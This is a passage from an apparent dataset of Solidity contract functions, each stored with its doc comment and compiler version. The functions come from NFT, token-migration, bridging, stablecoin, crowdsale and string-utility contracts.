dateCreated = uint32(now);\r\n\r\n\t\t//create PixelCon token and set owner\r\n\t\tuint64 index = uint64(pixelcons.length);\r\n\t\tlookupData.tokenIndex = index;\r\n\t\tpixelcons.length++;\r\n\t\tpixelconNames.length++;\r\n\t\tPixelCon storage pixelcon = pixelcons[index];\r\n\t\tpixelcon.tokenId = _tokenId;\r\n\t\tpixelcon.creator = msg.sender;\r\n\t\tpixelcon.dateCreated = dateCreated;\r\n\t\tpixelconNames[index] = _name;\r\n\t\tuint64[] storage createdList = createdTokens[msg.sender];\r\n\t\tuint createdListIndex = createdList.length;\r\n\t\tcreatedList.length++;\r\n\t\tcreatedList[createdListIndex] = index;\r\n\t\taddTokenTo(_to, _tokenId);\r\n\r\n\t\temit Create(_tokenId, msg.sender, index, _to);\r\n\t\temit Transfer(address(0), _to, _tokenId);\r\n\t\treturn index;\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n * @dev callback function that is called by BONK token.\r\n * @param _from who sent the tokens.\r\n * @param _tokens how many tokens were sent.\r\n * @param _data extra call data.\r\n * @return success.\r\n */", "function_code": "function tokenCallback(address _from, uint256 _tokens, bytes calldata _data)\r\n external\r\n override\r\n nonReentrant\r\n beforeDeadline\r\n onlyOldBonkToken\r\n returns (bool)\r\n {\r\n require(_tokens > 0, \"Invalid amount\");\r\n // compensate loss: there is 1% fee subtracted from _tokens\r\n _tokens = _tokens.mul(110).div(100);\r\n _migrate(_from, _tokens);\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "// Override with logic specific to this chain", "function_code": "function _bridgingLogic(uint256 token_type, address address_to_send_to, uint256 token_amount) internal override {\r\n // [Moonriver]\r\n if (token_type == 0){\r\n // L1 FRAX -> anyFRAX\r\n // Simple dump in / CREATE2\r\n // AnySwap Bridge\r\n TransferHelper.safeTransfer(address(FRAX), bridge_addresses[token_type], token_amount);\r\n }\r\n else if (token_type == 1) {\r\n // L1 FXS -> anyFXS\r\n // Simple dump in / CREATE2\r\n // AnySwap Bridge\r\n TransferHelper.safeTransfer(address(FXS), bridge_addresses[token_type], token_amount);\r\n }\r\n else {\r\n // L1 USDC -> anyUSDC\r\n // Simple dump in / CREATE2\r\n // AnySwap Bridge\r\n TransferHelper.safeTransfer(collateral_address, bridge_addresses[token_type], token_amount);\r\n }\r\n }", "version": "0.8.6"} {"comment": "/**\r\n \t * @notice Rename PixelCon `(_tokenId)`\r\n \t * @dev Throws if the caller is not the owner and creator of the token\r\n \t * @param _tokenId ID of the PixelCon to rename\r\n \t * @param _name New name\r\n \t * @return The index of the PixelCon\r\n \t */", "function_code": "function rename(uint256 _tokenId, bytes8 _name) public validId(_tokenId) returns(uint64)\r\n\t{\r\n\t\trequire(isCreatorAndOwner(msg.sender, _tokenId), \"Sender is not the creator and owner\");\r\n\r\n\t\t//update name\r\n\t\tTokenLookup storage lookupData = tokenLookup[_tokenId];\r\n\t\tpixelconNames[lookupData.tokenIndex] = _name;\r\n\r\n\t\temit Rename(_tokenId, _name);\r\n\t\treturn lookupData.tokenIndex;\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n \t * @notice Get all details of PixelCon `(_tokenId)`\r\n \t * @dev Throws if PixelCon does not exist\r\n \t * @param _tokenId ID of the PixelCon to get details for\r\n \t * @return PixelCon details\r\n \t */", "function_code": "function getTokenData(uint256 _tokenId) public view validId(_tokenId)\r\n\treturns(uint256 _tknId, uint64 _tknIdx, uint64 _collectionIdx, address _owner, address _creator, bytes8 _name, uint32 _dateCreated)\r\n\t{\r\n\t\tTokenLookup storage lookupData = tokenLookup[_tokenId];\r\n\t\trequire(lookupData.owner != address(0), \"PixelCon does not exist\");\r\n\r\n\t\tPixelCon storage pixelcon = pixelcons[lookupData.tokenIndex];\r\n\t\treturn (pixelcon.tokenId, lookupData.tokenIndex, pixelcon.collectionIndex, lookupData.owner,\r\n\t\t\tpixelcon.creator, pixelconNames[lookupData.tokenIndex], pixelcon.dateCreated);\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n \t * @notice Get all details of PixelCon #`(_tokenIndex)`\r\n \t * @dev Throws if PixelCon does not exist\r\n \t * @param _tokenIndex Index of the PixelCon to get details for\r\n \t * @return PixelCon details\r\n \t */", "function_code": "function getTokenDataByIndex(uint64 _tokenIndex) public view\r\n\treturns(uint256 _tknId, uint64 _tknIdx, uint64 _collectionIdx, address _owner, address _creator, bytes8 _name, uint32 _dateCreated)\r\n\t{\r\n\t\trequire(_tokenIndex < totalSupply(), \"PixelCon index is out of bounds\");\r\n\r\n\t\tPixelCon storage pixelcon = pixelcons[_tokenIndex];\r\n\t\tTokenLookup storage lookupData = tokenLookup[pixelcon.tokenId];\r\n\t\treturn (pixelcon.tokenId, lookupData.tokenIndex, pixelcon.collectionIndex, lookupData.owner,\r\n\t\t\tpixelcon.creator, pixelconNames[lookupData.tokenIndex], pixelcon.dateCreated);\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n \t * @notice Create PixelCon collection\r\n \t * @dev Throws if the message sender is not the owner and creator of the given tokens\r\n \t * @param _tokenIndexes Token indexes to group together into a collection\r\n \t * @param _name Name of the collection\r\n \t * @return Index of the new collection\r\n \t */", "function_code": "function createCollection(uint64[] _tokenIndexes, bytes8 _name) public returns(uint64)\r\n\t{\r\n\t\trequire(collectionNames.length < uint256(2 ** 64) - 1, \"Max number of collections has been reached\");\r\n\t\trequire(_tokenIndexes.length > 1, \"Collection must contain more than one PixelCon\");\r\n\r\n\t\t//loop through given indexes to add to collection and check additional requirements\r\n\t\tuint64 collectionIndex = uint64(collectionNames.length);\r\n\t\tuint64[] storage collection = collectionTokens[collectionIndex];\r\n\t\tcollection.length = _tokenIndexes.length;\r\n\t\tfor (uint i = 0; i < _tokenIndexes.length; i++) {\r\n\t\t\tuint64 tokenIndex = _tokenIndexes[i];\r\n\t\t\trequire(tokenIndex < totalSupply(), \"PixelCon index is out of bounds\");\r\n\r\n\t\t\tPixelCon storage pixelcon = pixelcons[tokenIndex];\r\n\t\t\trequire(isCreatorAndOwner(msg.sender, pixelcon.tokenId), \"Sender is not the creator and owner of the PixelCons\");\r\n\t\t\trequire(pixelcon.collectionIndex == uint64(0), \"PixelCon is already in a collection\");\r\n\r\n\t\t\tpixelcon.collectionIndex = collectionIndex;\r\n\t\t\tcollection[i] = tokenIndex;\r\n\t\t}\r\n\t\tcollectionNames.length++;\r\n\t\tcollectionNames[collectionIndex] = _name;\r\n\r\n\t\temit CreateCollection(msg.sender, collectionIndex);\r\n\t\treturn collectionIndex;\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n \t * @notice Rename collection #`(_collectionIndex)`\r\n \t * @dev Throws if the message sender is not the owner and creator of all collection tokens\r\n \t * @param _collectionIndex Index of the collection to rename\r\n \t * @param _name New name\r\n \t * @return Index of the collection\r\n \t */", "function_code": "function renameCollection(uint64 _collectionIndex, bytes8 _name) validIndex(_collectionIndex) public returns(uint64)\r\n\t{\r\n\t\trequire(_collectionIndex < totalCollections(), \"Collection does not exist\");\r\n\r\n\t\t//loop through the collections token indexes and check additional requirements\r\n\t\tuint64[] storage collection = collectionTokens[_collectionIndex];\r\n\t\trequire(collection.length > 0, \"Collection has been cleared\");\r\n\t\tfor (uint i = 0; i < collection.length; i++) {\r\n\t\t\tPixelCon storage pixelcon = pixelcons[collection[i]];\r\n\t\t\trequire(isCreatorAndOwner(msg.sender, pixelcon.tokenId), \"Sender is not the creator and owner of the PixelCons\");\r\n\t\t}\r\n\r\n\t\t//update\r\n\t\tcollectionNames[_collectionIndex] = _name;\r\n\r\n\t\temit RenameCollection(_collectionIndex, _name);\r\n\t\treturn _collectionIndex;\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n \t * @notice Enumerate PixelCon in collection #`(_collectionIndex)`\r\n \t * @dev Throws if the collection does not exist or index is out of bounds\r\n \t * @param _collectionIndex Collection index\r\n \t * @param _index Counter less than `collectionTotal(_collection)`\r\n \t * @return PixelCon ID for the `(_index)`th PixelCon in collection #`(_collectionIndex)`\r\n \t */", "function_code": "function tokenOfCollectionByIndex(uint64 _collectionIndex, uint256 _index) public view validIndex(_collectionIndex) returns(uint256)\r\n\t{\r\n\t\trequire(_collectionIndex < totalCollections(), \"Collection does not exist\");\r\n\t\trequire(_index < collectionTokens[_collectionIndex].length, \"Index is out of bounds\");\r\n\t\tPixelCon storage pixelcon = pixelcons[collectionTokens[_collectionIndex][_index]];\r\n\t\treturn pixelcon.tokenId;\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n \t * @notice Get the basic data for the given PixelCon indexes\r\n \t * @dev This function is for web3 calls only, as it returns a dynamic array\r\n \t * @param _tokenIndexes List of PixelCon indexes\r\n \t * @return All PixelCon basic data\r\n \t */", "function_code": "function getBasicData(uint64[] _tokenIndexes) public view returns(uint256[], bytes8[], address[], uint64[])\r\n\t{\r\n\t\tuint256[] memory tokenIds = new uint256[](_tokenIndexes.length);\r\n\t\tbytes8[] memory names = new bytes8[](_tokenIndexes.length);\r\n\t\taddress[] memory owners = new address[](_tokenIndexes.length);\r\n\t\tuint64[] memory collectionIdxs = new uint64[](_tokenIndexes.length);\r\n\r\n\t\tfor (uint i = 0; i < _tokenIndexes.length; i++)\t{\r\n\t\t\tuint64 tokenIndex = _tokenIndexes[i];\r\n\t\t\trequire(tokenIndex < totalSupply(), \"PixelCon index is out of bounds\");\r\n\r\n\t\t\ttokenIds[i] = pixelcons[tokenIndex].tokenId;\r\n\t\t\tnames[i] = pixelconNames[tokenIndex];\r\n\t\t\towners[i] = tokenLookup[pixelcons[tokenIndex].tokenId].owner;\r\n\t\t\tcollectionIdxs[i] = pixelcons[tokenIndex].collectionIndex;\r\n\t\t}\r\n\t\treturn (tokenIds, names, owners, collectionIdxs);\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n * @dev Increase total supply (mint) to an address with deposit\r\n *\r\n * @param _value The amount of tokens to be mint\r\n * @param _to The address which will receive token\r\n * @param _deposit The amount of deposit\r\n */", "function_code": "function increaseSupplyWithDeposit(uint256 _value, address _to, uint256 _deposit) external\r\n onlyOwner\r\n onlyActive(_to)\r\n returns (bool)\r\n {\r\n require(0 < _value, \"StableCoin.increaseSupplyWithDeposit: Zero value\");\r\n require(_deposit <= _value, \"StableCoin.increaseSupplyWithDeposit: Insufficient deposit\");\r\n\r\n totalSupply = totalSupply.add(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n freezeWithPurposeCode(_to, _deposit, encodePacked(\"InitialDeposit\"));\r\n emit Transfer(address(0), _to, _value.sub(_deposit));\r\n return true;\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * @dev Decrease total supply (burn) from an address that gave allowance\r\n *\r\n * @param _value The amount of tokens to be burn\r\n * @param _from The address's token will be burn\r\n */", "function_code": "function decreaseSupply(uint256 _value, address _from) external\r\n onlyOwner\r\n onlyActive(_from)\r\n returns (bool)\r\n {\r\n require(0 < _value, \"StableCoin.decreaseSupply: Zero value\");\r\n require(_value <= balances[_from], \"StableCoin.decreaseSupply: Insufficient fund\");\r\n require(_value <= allowed[_from][address(0)], \"StableCoin.decreaseSupply: Insufficient allowance\");\r\n\r\n totalSupply = totalSupply.sub(_value);\r\n balances[_from] = balances[_from].sub(_value);\r\n allowed[_from][address(0)] = allowed[_from][address(0)].sub(_value);\r\n emit Transfer(_from, address(0), _value);\r\n return true;\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * @dev Freeze holder balance\r\n *\r\n * @param _from The address which will be freeze\r\n * @param _value The amount of tokens to be freeze\r\n */", "function_code": "function freeze(address _from, uint256 _value) external\r\n onlyOwner\r\n returns (bool)\r\n {\r\n require(_value <= balances[_from], \"StableCoin.freeze: Insufficient fund\");\r\n\r\n balances[_from] = balances[_from].sub(_value);\r\n freezeOf[_from] = freezeOf[_from].add(_value);\r\n freezes[_from][FREEZE_CODE_DEFAULT] = freezes[_from][FREEZE_CODE_DEFAULT].add(_value);\r\n emit Freeze(_from, _value);\r\n emit FreezeWithPurpose(_from, _value, FREEZE_CODE_DEFAULT);\r\n return true;\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * @dev Freeze holder balance with purpose code\r\n *\r\n * @param _from The address which will be freeze\r\n * @param _value The amount of tokens to be freeze\r\n * @param _purposeCode The purpose code of freeze\r\n */", "function_code": "function freezeWithPurposeCode(address _from, uint256 _value, bytes32 _purposeCode) public\r\n onlyOwner\r\n returns (bool)\r\n {\r\n require(_value <= balances[_from], \"StableCoin.freezeWithPurposeCode: Insufficient fund\");\r\n\r\n balances[_from] = balances[_from].sub(_value);\r\n freezeOf[_from] = freezeOf[_from].add(_value);\r\n freezes[_from][_purposeCode] = freezes[_from][_purposeCode].add(_value);\r\n emit Freeze(_from, _value);\r\n emit FreezeWithPurpose(_from, _value, _purposeCode);\r\n return true;\r\n }", "version": "0.5.0"} {"comment": "/**\r\n \t * @notice Get the names of all PixelCons from index `(_startIndex)` to `(_endIndex)`\r\n \t * @dev This function is for web3 calls only, as it returns a dynamic array\r\n \t * @return The names of the PixelCons in the given range\r\n \t */", "function_code": "function getNamesInRange(uint64 _startIndex, uint64 _endIndex) public view returns(bytes8[])\r\n\t{\r\n\t\trequire(_startIndex <= totalSupply(), \"Start index is out of bounds\");\r\n\t\trequire(_endIndex <= totalSupply(), \"End index is out of bounds\");\r\n\t\trequire(_startIndex <= _endIndex, \"End index is less than the start index\");\r\n\r\n\t\tuint64 length = _endIndex - _startIndex;\r\n\t\tbytes8[] memory names = new bytes8[](length);\r\n\t\tfor (uint i = 0; i < length; i++)\t{\r\n\t\t\tnames[i] = pixelconNames[_startIndex + i];\r\n\t\t}\r\n\t\treturn names;\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n \t * @notice Approve `(_to)` to transfer PixelCon `(_tokenId)` (zero indicates no approved address)\r\n \t * @dev Throws if not called by the owner or an approved operator\r\n \t * @param _to Address to be approved\r\n \t * @param _tokenId ID of the token to be approved\r\n \t */", "function_code": "function approve(address _to, uint256 _tokenId) public validId(_tokenId)\r\n\t{\r\n\t\taddress owner = tokenLookup[_tokenId].owner;\r\n\t\trequire(_to != owner, \"Cannot approve PixelCon owner\");\r\n\t\trequire(msg.sender == owner || operatorApprovals[owner][msg.sender], \"Sender does not have permission to approve address\");\r\n\r\n\t\ttokenApprovals[_tokenId] = _to;\r\n\t\temit Approval(owner, _to, _tokenId);\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n * @dev Allocate allowance and perform contract call\r\n *\r\n * @param _spender The spender address\r\n * @param _value The allowance value\r\n * @param _extraData The function call data\r\n */", "function_code": "function approveAndCall(address _spender, uint256 _value, bytes calldata _extraData) external\r\n isUsable\r\n returns (bool)\r\n {\r\n // Give allowance to spender (previous approved allowances will be clear)\r\n approve(_spender, _value);\r\n\r\n ApprovalReceiver(_spender).receiveApproval(msg.sender, _value, address(this), _extraData);\r\n return true;\r\n }", "version": "0.5.0"} {"comment": "/**\n * @notice Performs an update of the tuple (count, mean, m2) using the new value\n * @param curCount is the current value for count\n * @param curMean is the current value for mean\n * @param curM2 is the current value for M2\n * @param newValue is the new value to be added into the dataset\n */", "function_code": "function update(\n uint256 curCount,\n int256 curMean,\n uint256 curM2,\n int256 newValue\n )\n internal\n pure\n returns (\n uint256 count,\n int256 mean,\n uint256 m2\n )\n {\n int256 _count = int256(curCount + 1);\n int256 delta = newValue.sub(int256(curMean));\n int256 _mean = int256(curMean).add(delta.div(_count));\n int256 delta2 = newValue.sub(_mean);\n int256 _m2 = int256(curM2).add(delta.mul(delta2));\n\n require(_count > 0, \"count<=0\");\n require(_m2 >= 0, \"m2<0\");\n\n count = uint256(_count);\n mean = _mean;\n m2 = uint256(_m2);\n }", "version": "0.7.3"} {"comment": "/**\r\n * Fallback function\r\n *\r\n * The function without name is the default function that is called whenever anyone sends funds to a contract\r\n */", "function_code": "function () payable {\r\n require(!crowdsaleClosed);\r\n uint256 bonus;\r\n uint256 amount = msg.value;\r\n balanceOf[msg.sender] = balanceOf[msg.sender].add(amount);\r\n amountRaised = amountRaised.add(amount);\r\n \r\n //add bounus for funders\r\n if(now >= startdate && now <= startdate + 24 hours ){\r\n amount = amount.div(price);\r\n bonus = amount.mul(30).div(100);\r\n amount = amount.add(bonus);\r\n }\r\n else if(now > startdate + 24 hours && now <= startdate + 24 hours + 1 weeks ){\r\n amount = amount.div(price);\r\n bonus = amount.mul(20).div(100);\r\n amount = amount.add(bonus);\r\n }\r\n else if(now > startdate + 24 hours + 1 weeks && now <= startdate + 24 hours + 3 weeks ){\r\n amount = amount.div(price);\r\n bonus = amount.mul(10).div(100);\r\n amount = amount.add(bonus);\r\n } else {\r\n amount = amount.div(price);\r\n }\r\n \r\n amount = amount.mul(100000000);\r\n tokenReward.transfer(msg.sender, amount);\r\n //FundTransfer(msg.sender, amount, true);\r\n }", "version": "0.4.19"} {"comment": "/**\r\n \t * @notice Transfer the ownership of PixelCon `(_tokenId)` to `(_to)` (try to use 'safeTransferFrom' instead)\r\n \t * @dev Throws if the sender is not the owner, approved, or operator\r\n \t * @param _from Current owner\r\n \t * @param _to Address to receive the PixelCon\r\n \t * @param _tokenId ID of the PixelCon to be transferred\r\n \t */", "function_code": "function transferFrom(address _from, address _to, uint256 _tokenId) public validAddress(_from) validAddress(_to) validId(_tokenId)\r\n\t{\r\n\t\trequire(isApprovedOrOwner(msg.sender, _tokenId), \"Sender does not have permission to transfer PixelCon\");\r\n\t\tclearApproval(_from, _tokenId);\r\n\t\tremoveTokenFrom(_from, _tokenId);\r\n\t\taddTokenTo(_to, _tokenId);\r\n\r\n\t\temit Transfer(_from, _to, _tokenId);\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n \t * @notice Get a distinct Uniform Resource Identifier (URI) for PixelCon `(_tokenId)`\r\n \t * @dev Throws if the given PixelCon does not exist\r\n \t * @return PixelCon URI\r\n \t */", "function_code": "function tokenURI(uint256 _tokenId) public view returns(string)\r\n\t{\r\n\t\tTokenLookup storage lookupData = tokenLookup[_tokenId];\r\n\t\trequire(lookupData.owner != address(0), \"PixelCon does not exist\");\r\n\t\tPixelCon storage pixelcon = pixelcons[lookupData.tokenIndex];\r\n\t\tbytes8 pixelconName = pixelconNames[lookupData.tokenIndex];\r\n\r\n\t\t//Available values: , , , , , , \r\n\r\n\t\t//start with the token URI template and replace in the appropriate values\r\n\t\tstring memory finalTokenURI = tokenURITemplate;\r\n\t\tfinalTokenURI = StringUtils.replace(finalTokenURI, \"\", StringUtils.toHexString(_tokenId, 32));\r\n\t\tfinalTokenURI = StringUtils.replace(finalTokenURI, \"\", StringUtils.toHexString(uint256(lookupData.tokenIndex), 8));\r\n\t\tfinalTokenURI = StringUtils.replace(finalTokenURI, \"\", StringUtils.toHexString(uint256(pixelconName), 8));\r\n\t\tfinalTokenURI = StringUtils.replace(finalTokenURI, \"\", StringUtils.toHexString(uint256(lookupData.owner), 20));\r\n\t\tfinalTokenURI = StringUtils.replace(finalTokenURI, \"\", StringUtils.toHexString(uint256(pixelcon.creator), 20));\r\n\t\tfinalTokenURI = StringUtils.replace(finalTokenURI, \"\", StringUtils.toHexString(uint256(pixelcon.dateCreated), 8));\r\n\t\tfinalTokenURI = StringUtils.replace(finalTokenURI, \"\", StringUtils.toHexString(uint256(pixelcon.collectionIndex), 8));\r\n\r\n\t\treturn finalTokenURI;\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n \t * @notice Check whether the given editor is the current owner and original creator of a given token ID\r\n \t * @param _address Address to check for\r\n \t * @param _tokenId ID of the token to be edited\r\n \t * @return True if the editor is approved for the given token ID, is an operator of the owner, or is the owner of the token\r\n \t */", "function_code": "function isCreatorAndOwner(address _address, uint256 _tokenId) internal view returns(bool)\r\n\t{\r\n\t\tTokenLookup storage lookupData = tokenLookup[_tokenId];\r\n\t\taddress owner = lookupData.owner;\r\n\t\taddress creator = pixelcons[lookupData.tokenIndex].creator;\r\n\r\n\t\treturn (_address == owner && _address == creator);\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n \t * @notice Check whether the given spender can transfer a given token ID\r\n \t * @dev Throws if the PixelCon does not exist\r\n \t * @param _address Address of the spender to query\r\n \t * @param _tokenId ID of the token to be transferred\r\n \t * @return True if the spender is approved for the given token ID, is an operator of the owner, or is the owner of the token\r\n \t */", "function_code": "function isApprovedOrOwner(address _address, uint256 _tokenId) internal view returns(bool)\r\n\t{\r\n\t\taddress owner = tokenLookup[_tokenId].owner;\r\n\t\trequire(owner != address(0), \"PixelCon does not exist\");\r\n\t\treturn (_address == owner || tokenApprovals[_tokenId] == _address || operatorApprovals[owner][_address]);\r\n\t}", "version": "0.4.24"} {"comment": "/*\r\n \t * @dev function to buy tokens. \r\n \t * @param _amount how much tokens can be bought.\r\n \t */", "function_code": "function buyBatch(uint _amount) external payable {\r\n\t\trequire(block.timestamp >= START_TIME, \"sale is not started yet\");\r\n\t\trequire(tokensSold + _amount <= MAX_NFT_TO_SELL, \"exceed sell limit\");\r\n\t\trequire(_amount > 0, \"empty input\");\r\n\t\trequire(_amount <= MAX_UNITS_PER_TRANSACTION, \"exceed MAX_UNITS_PER_TRANSACTION\");\r\n\r\n\t\tuint totalPrice = SALE_PRICE * _amount;\r\n\t\trequire(msg.value >= totalPrice, \"too low value\");\r\n\t\tif(msg.value > totalPrice) {\r\n\t\t\t//send the rest back\r\n\t\t\t(bool sent, ) = payable(msg.sender).call{value: msg.value - totalPrice}(\"\");\r\n \trequire(sent, \"Failed to send Ether\");\r\n\t\t}\r\n\t\t\r\n\t\ttokensSold += _amount;\r\n\t\tnft.mintBatch(msg.sender, _amount);\t\t\r\n\t}", "version": "0.8.11"} {"comment": "/**\n * @dev Mints yourself NFTs.\n */", "function_code": "function mintNFTs(uint256 count) external payable {\n require(saleIsActive, \"Sale must be active to mint\");\n require(totalSupply() < MAX_NFT_SUPPLY, \"Sale has already ended\");\n require(count > 0, \"numberOfNfts cannot be 0\");\n require(count <= 20, \"You may not buy more than 20 NFTs at once\");\n require(\n SafeMath.add(totalSupply(), count) <= MAX_NFT_SUPPLY,\n \"Exceeds MAX_NFT_SUPPLY\"\n );\n require(\n SafeMath.mul(getNFTPrice(), count) == msg.value,\n \"Ether value sent is not correct\"\n );\n\n for (uint256 i = 0; i < count; i++) {\n uint256 mintIndex = totalSupply();\n if (mintIndex < MAX_NFT_SUPPLY) {\n _safeMint(msg.sender, mintIndex);\n }\n }\n\n // If we haven't set the starting index and this is either 1) the last saleable token or 2) the first token to be sold after\n // the end of pre-sale, set the starting index block\n if (\n startingIndexBlock == 0 &&\n (totalSupply() == MAX_NFT_SUPPLY ||\n block.timestamp >= REVEAL_TIMESTAMP)\n ) {\n startingIndexBlock = block.number;\n }\n }", "version": "0.8.4"} {"comment": "/**\n * Set the starting index for the collection\n */", "function_code": "function setStartingIndex() external {\n require(startingIndex == 0, \"Starting index is already set\");\n require(startingIndexBlock != 0, \"Starting index block must be set\");\n\n startingIndex = uint256(blockhash(startingIndexBlock)) % MAX_NFT_SUPPLY;\n // Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes)\n if (block.number.sub(startingIndexBlock) > 255) {\n startingIndex =\n uint256(blockhash(block.number - 1)) %\n MAX_NFT_SUPPLY;\n }\n // Prevent default sequence\n if (startingIndex == 0) {\n startingIndex = startingIndex.add(1);\n }\n }", "version": "0.8.4"} {"comment": "//event DebugTest2(uint allowance,uint from,address sender);", "function_code": "function _transferFrom(address _operator, address _from, address _to, uint256 _value, bool _payFee) internal {\r\n if (_value == 0) {\r\n emit Transfer(_from, _to, 0);\r\n return;\r\n }\r\n\r\n uint256 balanceFrom = _balanceOf(_from);\r\n require(balanceFrom >= _value, \"balance not enough\");\r\n\r\n if (_from != _operator) {\r\n uint256 allowanceFrom = _allowance(_from, _operator);\r\n if (allowanceFrom != uint(-1)) {\r\n //emit DebugTest2(allowanceFrom,_value,_operator);\r\n require(allowanceFrom >= _value, \"allowance not enough\");\r\n _setAllowance(_from, _operator, allowanceFrom.sub(_value));\r\n }\r\n }\r\n\r\n uint256", "version": "0.5.17"} {"comment": "/**\r\n \t * @dev Replaces the given key with the given value in the given string\r\n \t * @param _str String to find and replace in\r\n \t * @param _key Value to search for\r\n \t * @param _value Value to replace key with\r\n \t * @return The replaced string\r\n \t */", "function_code": "function replace(string _str, string _key, string _value) internal pure returns(string)\r\n\t{\r\n\t\tbytes memory bStr = bytes(_str);\r\n\t\tbytes memory bKey = bytes(_key);\r\n\t\tbytes memory bValue = bytes(_value);\r\n\r\n\t\tuint index = indexOf(bStr, bKey);\r\n\t\tif (index < bStr.length) {\r\n\t\t\tbytes memory rStr = new bytes((bStr.length + bValue.length) - bKey.length);\r\n\r\n\t\t\tuint i;\r\n\t\t\tfor (i = 0; i < index; i++) rStr[i] = bStr[i];\r\n\t\t\tfor (i = 0; i < bValue.length; i++) rStr[index + i] = bValue[i];\r\n\t\t\tfor (i = 0; i < bStr.length - (index + bKey.length); i++) rStr[index + bValue.length + i] = bStr[index + bKey.length + i];\r\n\r\n\t\t\treturn string(rStr);\r\n\t\t}\r\n\t\treturn string(bStr);\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n \t * @dev Converts a given number into a string with hex representation\r\n \t * @param _num Number to convert\r\n \t * @param _byteSize Size of the number in bytes\r\n \t * @return The hex representation as string\r\n \t */", "function_code": "function toHexString(uint256 _num, uint _byteSize) internal pure returns(string)\r\n\t{\r\n\t\tbytes memory s = new bytes(_byteSize * 2 + 2);\r\n\t\ts[0] = 0x30;\r\n\t\ts[1] = 0x78;\r\n\t\tfor (uint i = 0; i < _byteSize; i++) {\r\n\t\t\tbyte b = byte(uint8(_num / (2 ** (8 * (_byteSize - 1 - i)))));\r\n\t\t\tbyte hi = byte(uint8(b) / 16);\r\n\t\t\tbyte lo = byte(uint8(b) - 16 * uint8(hi));\r\n\t\t\ts[2 + 2 * i] = char(hi);\r\n\t\t\ts[3 + 2 * i] = char(lo);\r\n\t\t}\r\n\t\treturn string(s);\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n \t * @dev Gets the index of the key string in the given string\r\n \t * @param _str String to search in\r\n \t * @param _key Value to search for\r\n \t * @return The index of the key in the string (string length if not found)\r\n \t */", "function_code": "function indexOf(bytes _str, bytes _key) internal pure returns(uint)\r\n\t{\r\n\t\tfor (uint i = 0; i < _str.length - (_key.length - 1); i++) {\r\n\t\t\tbool matchFound = true;\r\n\t\t\tfor (uint j = 0; j < _key.length; j++) {\r\n\t\t\t\tif (_str[i + j] != _key[j]) {\r\n\t\t\t\t\tmatchFound = false;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (matchFound) {\r\n\t\t\t\treturn i;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn _str.length;\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n * Upgrader upgrade tokens of holder to a new smart contract.\r\n * @param _holders List of token holder.\r\n */", "function_code": "function forceUpgrade(address[] _holders)\r\n public\r\n onlyUpgradeMaster\r\n canUpgrade\r\n {\r\n uint amount;\r\n\r\n for (uint i = 0; i < _holders.length; i++) {\r\n amount = balanceOf[_holders[i]];\r\n\r\n if (amount == 0) {\r\n continue;\r\n }\r\n\r\n processUpgrade(_holders[i], amount);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Constructor\r\n */", "function_code": "function QNTU(address[] _wallets, uint[] _amount)\r\n public\r\n {\r\n require(_wallets.length == _amount.length);\r\n\r\n symbol = \"QNTU\";\r\n name = \"QNTU Token\";\r\n decimals = 18;\r\n\r\n uint num = 0;\r\n uint length = _wallets.length;\r\n uint multiplier = 10 ** uint(decimals);\r\n\r\n for (uint i = 0; i < length; i++) {\r\n num = _amount[i] * multiplier;\r\n\r\n balanceOf[_wallets[i]] = num;\r\n Transfer(0, _wallets[i], num);\r\n\r\n totalSupply += num;\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n @dev returns the product of multiplying _x by _y, asserts if the calculation overflows\r\n \r\n @param _x factor 1\r\n @param _y factor 2\r\n \r\n @return product\r\n */", "function_code": "function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) {\r\n uint256 z = _x * _y;\r\n require(_x == 0 || z / _x == _y); //assert(_x == 0 || z / _x == _y);\r\n return z;\r\n }", "version": "0.5.11"} {"comment": "/// @notice send `_value` token to `_to` from `msg.sender`\n/// @param _to The address of the recipient\n/// @param _value The amount of token to be transferred\n/// @return Whether the transfer was successful or not", "function_code": "function transfer(address _to, uint256 _value) public returns (bool success) {\r\n\t require(_value > 0 ); // Check send token value > 0;\r\n\t\trequire(balances[msg.sender] >= _value); // Check if the sender has enough\r\n require(balances[_to] + _value > balances[_to]); // Check for overflows\t\t\t\t\t\t\t\t\t\t\t\r\n \tbalances[msg.sender] = safeSub(balances[msg.sender], _value); // Subtract from the sender\r\n\t\tbalances[_to] = safeAdd(balances[_to], _value); // Add the same to the recipient \r\n\t if(_to == address(0)) {\r\n\t _burn(_to, _value);\r\n\t }\r\n\t\r\n\t\temit Transfer(msg.sender, _to, _value); \t\t\t // Notify anyone listening that this transfer took place\r\n\t\treturn true; \r\n\t}", "version": "0.5.11"} {"comment": "/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`\n/// @param _from The address of the sender\n/// @param _to The address of the recipient\n/// @param _value The amount of token to be transferred\n/// @return Whether the transfer was successful or not", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {\r\n\t \r\n\t require(balances[_from] >= _value); // Check if the sender has enough\r\n require(balances[_to] + _value >= balances[_to]); // Check for overflows\r\n require(_value <= allowed[_from][msg.sender]); // Check allowance\r\n balances[_from] = safeSub(balances[_from], _value); // Subtract from the 